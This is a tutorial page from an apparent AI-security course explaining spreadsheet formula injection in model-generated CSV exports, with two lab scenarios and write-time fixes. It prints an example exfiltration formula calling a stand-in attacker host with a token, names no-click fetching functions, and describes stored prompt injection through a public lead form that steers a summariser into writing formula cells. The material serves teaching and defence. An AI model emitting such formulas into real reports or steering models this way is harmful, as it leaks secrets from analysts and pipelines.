genai
SECURITY LAB
5Part 5 of 8

Spreadsheet and CSV formula injection

A generated report that opens in Excel or Sheets is consumed by a formula engine, not a text viewer. A cell that begins with =, +, -, or @ is evaluated as a formula on open. If the model can be talked into writing a =HYPERLINK or =WEBSERVICE cell - 'just a clickable convenience' - the spreadsheet becomes a delivery vehicle: the formula fires on the analyst's machine and can carry an embedded secret out as a tracking parameter.

LLM10 - Section 5
A cell can be code
A cell that begins with =, +, -, or @ is evaluated as a formula on open - so a generated report is consumed by a spreadsheet, not read as text.
A generated report opens in a formula engine, not a text viewer.
genai
SECURITY LAB
Follow the report once it leaves your app. A CSV looks like plain text, but the program that opens it runs things for a living.
0:00
1:29
One leading character flips value into code
As text - inertRPT-8842a harmless value; the spreadsheet just shows itAs a formula - active code=HYPERLINK("attacker.example/?t=RPT-8842","x")the leading = makes it a live formulaEXCEL / SHEETS - a formula engineevaluates the cell on open, on the analyst's machineLive formula on open. One click sends the folded token out in the URLFIX AT WRITE TIME: prefix any =, +, -, @ cell with an apostrophe or quote it
The same audit token is inert as text but active as a formula. The spreadsheet, not your app, is the interpreter - it evaluates any cell starting with =, +, -, @ on open. Escape the leader at write time.

The next program to read the file runs it

Earlier lessons in this series followed model output into a browser, a database and a server-side interpreter. This lesson follows it into a file. An AI feature writes a report as a CSV or a workbook, and a person downloads it and opens it in Excel or Google Sheets. Some pipelines skip the person and have a server recalculate the sheet when it ingests the file.

Each of those programs is a formula engine. It reads every cell, and if a cell starts with a formula character it evaluates the cell as a formula and shows the result in its place. Your application wrote a value. The program that reads it next decides whether that value is data or code, and it decides on the first character alone.

That makes the cell a sink, the place where untrusted text meets an interpreter. Model output is untrusted here for the same reason it was in the earlier lessons: it is assembled from inputs you do not control. A ticket subject, a lead's message, an engineer's request and a retrieved document all flow into what the model writes. If any of them can shape the first character of a cell, they can decide what runs on the machine that opens the report.

The weakness is catalogued as CWE-1236, improper neutralization of formula elements in a CSV file. In the OWASP 2026 numbering it sits under LLM10, Improper Output Handling. It is an old web bug. CSV export buttons in admin panels had it long before language models. What the model changes is who writes the cell. A developer used to copy a database field into it. Now a model composes it from instructions and content an attacker can influence, and the export code still writes whatever comes back.

Terms you need

  • CSV. Comma-separated values, a plain-text table with one row per line and cells separated by commas. A CSV holds no types. Every cell is text until the program that opens it decides otherwise.
  • Formula engine. The part of a spreadsheet program that evaluates formulas. It runs when a file is opened, when a cell changes, and when a server-side tool recalculates a sheet.
  • Formula leader. A first character that makes the engine treat a cell as a formula. The usual set is an equals sign, a plus sign, a minus sign and an at sign. A leading tab or carriage return can also start one.
  • Recalculation. The engine evaluating formula cells. A desktop spreadsheet recalculates when the file opens. A reporting pipeline may recalculate on a server at ingest, with no person watching.
  • External-reference function. A spreadsheet function that reaches outside the sheet, for example to open a link or fetch data from a URL. Some act only when a person clicks the cell. Others make their request as soon as the sheet calculates.
  • Neutralisation. Changing a cell before it is written so the engine reads it as text. The standard method is to prefix a single apostrophe to any text cell that starts with a formula leader.
The cell read as text

The analyst sees the characters the model wrote. A link-shaped string or a calculation written out reaches nothing and changes nothing. If it is wrong, it is a wrong note in a report.

The same cell read as a formula

The engine evaluates it on the analyst's machine or on the pipeline server, with that machine's network access and whatever connections the engine holds. A function that fetches a URL can send data from the sheet to a server the attacker reads.

The impact depends on what the engine can reach. A link formula can carry a value out in its URL when someone clicks it, and it can present a phishing page as part of an internal report the reader already trusts. A fetching function sends its request with no click at all. Older formula features that launched other programs have made command execution possible on the analyst's desktop.

How you recognise this sink in an AI feature

Look for any feature where model output ends up in a file that a person opens in a spreadsheet or a pipeline recalculates. The giveaways are in the interface: an Export button, a downloadable report, a sync to a spreadsheet service, a scheduled digest sent as an attachment, a file handed to a BI (business intelligence) pipeline. Then trace where each column comes from.

  • Free-text columns the model writes. Notes, summaries, labels, next steps and categories are all model output landing in a cell.
  • Columns the model may fill with a formula. A "computed column" or derived value that the model is allowed to write as a formula has handed it the leader by design.
  • Rules that carry a value through verbatim. A reference code, a tracking tag, or a formula someone specifies. Verbatim means the model will not touch the first character.
  • Where the inputs come from. A public form, a ticket, an email or an uploaded file lets an outsider write into what the model reads, while a different person triggers the export.
  • What the engine holds. Server-side recalculation with network access, configured data connections or credentials gives a formula something to reach without anyone clicking.

The test itself is mechanical. Get any cell in the delivered file to begin with a formula leader, then check whether the file shows it as text or evaluates it. A harmless arithmetic formula is enough to prove the sink. On a real assessment, stop there unless the scope allows more, and report the column, the cell and the input that produced it.

Rippl: a lead note written by a stranger

The CSV Formula Injection via a Lead Note lab (Intermediate) gives you Rippl, a lead-operations CRM. Anyone can submit a lead through its public "get in touch" form with a name, a company and a free-text message, and the message goes straight into the CRM. When a RevOps (revenue operations) analyst clicks Export leads, the backend asks a small model to summarise each lead into a single notes cell and writes those cells into a CSV. The analyst opens the file in a spreadsheet that evaluates formula cells.

Two design choices meet in the notes column. The summariser is told to keep notes as plain text, and it is also told to reproduce, verbatim, any tracking tag or reference that a prospect asks to have preserved. The export code then writes the notes cell into the CSV with no neutralisation of a leading formula character. Whatever text the model emits is what the spreadsheet receives.

The lab gives a formula something to reach. Rippl's spreadsheet sync signs its outbound external-reference requests with the workspace pipeline token. That token is never in the model's context, never a visible cell and never in the page HTML. The model cannot leak it by repeating it, because it never sees it.

The class of move is stored, indirect injection. You never talk to the summariser. You write the only field you control, the lead's message, and a different person's ordinary export carries it into the file. That is second-order in the same sense as stored cross-site scripting: the input is saved in one request and acts in another. Your job is to work out what a message would have to say for the summariser to start that lead's notes cell with a formula leader, and what that formula would need the spreadsheet to do. The RevOps console has a reference page for the sync feature, and reading it is part of the assessment.

Start with a baseline. Submit an ordinary lead, export the list, and confirm the notes cell is plain text with no formula. Every later export is compared with that one. Completion is by Submit Evidence, checked against your session. The lab's own hints narrow it down in stages if you stall.

Gridwright: a computed column the pipeline recalculates

The CSV Formula Injection in a Generated Report lab (Advanced) moves the engine onto a server. Gridwright is a support-operations export assistant. An engineer describes an export, usually a set of tickets with a few columns, and a small model writes the CSV that an analytics pipeline ingests. Standard fields are written as plain cells. The model is also allowed one computed column, written as a formula, and it reproduces any formula the engineer designates for that column character for character.

On ingest, a server-side formula engine recalculates the file. Gridwright writes the model's cells into the sheet with no neutralisation, so a cell that starts with a formula leader is evaluated where the pipeline runs. A recalculated-sheet panel shows you the result. Nobody has to open the file or click anything.

The secret here is a per-session export token. It is not in the model's context, not in any visible cell and not in the page HTML. The recalculation engine holds this session's pipeline connection profile. Asking the model for the token goes nowhere, because the model never had it. The useful question is what the engine can be made to do once a cell tells it to do something.

The class of move has two parts. First, establish what a model-written cell is treated as at recalculation time: inert data, or something the engine runs. A plain export with no computed column is your baseline, and it shows ordinary cells with no token. Second, work out which computed column would make the recalculation itself bring the token into the sheet. The in-app computed columns and connections reference documents what the engine does with a formula cell and which functions reach outside the sheet. This lesson does not name a function or write the column for you. The lab's hints take you there in stages.

Completion is by Submit Evidence: the token the recalculated sheet surfaces, compared with the one issued for your session.

Gridwright is rated Advanced for two reasons. The formula has to reach something the model cannot see, so you reason about the engine's capabilities and not about the model's knowledge. And with no person in the loop, nothing pauses before the request goes out. Server-side recalculation turns formula injection into an outbound request from inside the pipeline's network, much like the server-side request forgery (SSRF) labs in lesson 6.

Why prompt rules and blocklists do not hold

Both targets already tell the model not to write formulas. Gridwright's prompt says a standard cell must never begin with a formula character. Rippl's says notes are ordinary text and must never begin with one. Each prompt also contains a second rule that makes room for a formula: a designated computed column in one, a preserved reference in the other. The attacker writes the input that decides which rule applies.

Removing the exception would still leave the prompt as a request to the model. The model can be talked out of it, can misread which field is which, or can copy a value from a ticket that already starts with a leader. The export code is the one place that sees every cell just before it is written, and it can check the first character without understanding anything about the content.

Blocklists fail for a narrower reason. A filter that rejects cells beginning with an equals sign misses the other leaders. A filter that looks for dangerous function names misses the next function. The leading character is the one thing every formula shares, so that is what the control checks.

Escaping one character leaves the cell live. An export that handles only a leading equals sign still delivers a working formula when the text begins with a plus, minus or at sign, or with a tab or carriage return. Check the full set on every text cell.

The fix that holds

  • Neutralise at write time, in the export code. Before any text cell is written, check whether it starts with an equals sign, plus sign, minus sign, at sign, tab or carriage return. If it does, prefix a single apostrophe so the spreadsheet treats it as text, and quote the field in the CSV. Put the check in the one function every export goes through, so a new column cannot skip it. Code that later parses the file as data will see the apostrophe, so tell it to expect one.
  • Validate numeric columns in code. Parse amounts and counts as numbers and write them unchanged, so a real negative value is not turned into text. A free-text column the model wrote is always treated as text.
  • Write native workbooks as strings. If you produce a workbook through a library, write model text with the library's explicit string method, such as write_string in XlsxWriter, and turn off settings like strings_to_formulas that convert formula-shaped strings into formulas. Treat any later conversion to CSV as a new write that needs the same check.
  • Keep formulas out of the model's hands. If a report needs a derived value, compute it in code from the data and write the result as a value. If analysts need a formula, the template supplies it from a fixed list your code owns, and model output never becomes formula text.
  • Keep secrets away from anything a formula can reach. Tokens, audit codes and connection credentials do not belong in the model's context, in a generated cell, or in a connection the sheet can call. A formula that slips through then has nothing worth carrying.
  • Restrict server-side recalculation. If a pipeline recalculates sheets, disable functions that reach outside the sheet and run the engine without outbound network access. A recalculation step has no reason to fetch URLs named inside the file it is processing.
  • Test the delivered file. Push a cell that starts with each leader through the real export path, open the delivered file in the programs your users use, and confirm each cell shows as text. Repeat for scheduled and emailed exports, which may run through different code.
  • Treat prompt rules as a second layer. Telling the model to keep notes as plain text lowers how often a formula appears. It cannot be the control, because the input decides what the model writes.

What you should be able to do now. Explain why a spreadsheet cell is a sink and why its first character decides whether it is data or code. Name every leader the export code must check. In Rippl, trace a public form field through a summariser into a notes cell that someone else exports. In Gridwright, work out what a server-side recalculation engine can reach that the model cannot. Complete the Lab for each, then say where the check belongs: in the code that writes the file, before any program opens it.

Key principles

A generated report opens in a formula engine: a cell starting =, +, -, or @ is evaluated as code on open, not shown as text (CWE-1236).

One leading character flips a cell from inert value to executable formula - the interpreter is the spreadsheet on the analyst's machine, not your app.

=HYPERLINK sends a folded audit token out as a URL parameter when the analyst clicks it. =WEBSERVICE needs no click: it fetches its URL when the sheet calculates.

The control is mechanical and at write time: prefix any =, +, -, @ (or tab/CR) cell with an apostrophe or quote it - never trust the model to keep formulas out.

Key points
Asking the assistant to make a cell a clickable =HYPERLINK formula with an internal audit token in the URL produces a live formula cell. The token leaves when the analyst clicks the link. =WEBSERVICE and =IMPORTDATA need no click on the cell. They fetch their URL when the sheet calculates.
The interpreter is the spreadsheet, not your app - a value that is harmless as text becomes active code the instant a formula-leading character is present.
Exfiltration, credential phishing, and even command execution have all shipped through CSV injection in real reporting pipelines.
The control is mechanical: prefix any cell starting with =, +, -, @ (or tab/CR) with a leading apostrophe, or quote it, before writing the file - never trust the model to keep formulas out.
Check yourself
Knowledge check
An export routine prefixes any cell that begins with = so it cannot start a formula. A generated cell instead begins with + as a note. What happens when an analyst opens the file?
Try what you just learned
Free labs need only a sign-in; the rest are on a paid plan.
Go deeper
FAQ
What is CSV formula injection?

CSV formula injection, also called spreadsheet formula injection, happens when an application writes a cell that begins with a formula character, such as an equals, plus, minus or at sign, into an export. The spreadsheet that opens the file evaluates that cell as a formula and does not show it as text. A formula can fetch a URL, carry data from the sheet out in a link, or display a phishing link inside a trusted report. It is catalogued as CWE-1236.

Why is AI-generated CSV or Excel output a formula injection risk?

A language model writes cells from text it was given, and some of that text comes from people you do not trust: a ticket, a web form message, an email or an uploaded file. If that input can shape the first character of a cell, it can turn a note or a summary into a live formula. Export code that writes model output unchanged then delivers the formula to whoever opens the report, or to a pipeline that recalculates it on a server.

How do you prevent CSV formula injection in an AI export feature?

Neutralise cells in the code that writes the file. Before writing any text cell, check whether it begins with an equals sign, plus sign, minus sign, at sign, tab or carriage return, and if it does, prefix a single apostrophe and quote the field so the spreadsheet reads it as text. Compute derived values in code instead of letting the model write formulas, keep tokens and credentials out of anything a formula can reach, and disable external functions and network access in any server-side recalculation engine.

Why doesn't telling the model not to write formulas stop spreadsheet injection?

A rule in the system prompt is a request to the model, and the model's output is shaped by input an attacker can write. A prompt may also carry an exception, such as copying a reference code or a designated formula verbatim, and the attacker chooses input that falls under the exception. Filters that only look for an equals sign or for known function names miss the other formula characters and the next function. The check that holds reads the first character of every cell in export code.

Comments
No comments yet — be the first.
Get the next part

New parts ship regularly. Leave your email and I’ll send each one — no spam, unsubscribe anytime.

© 2026 GenAI Security Lab. All rights reserved. You may read, quote, and link to this material with attribution. Copying, republishing, redistribution, resale, or use to train models or build competing products is prohibited without prior written permission.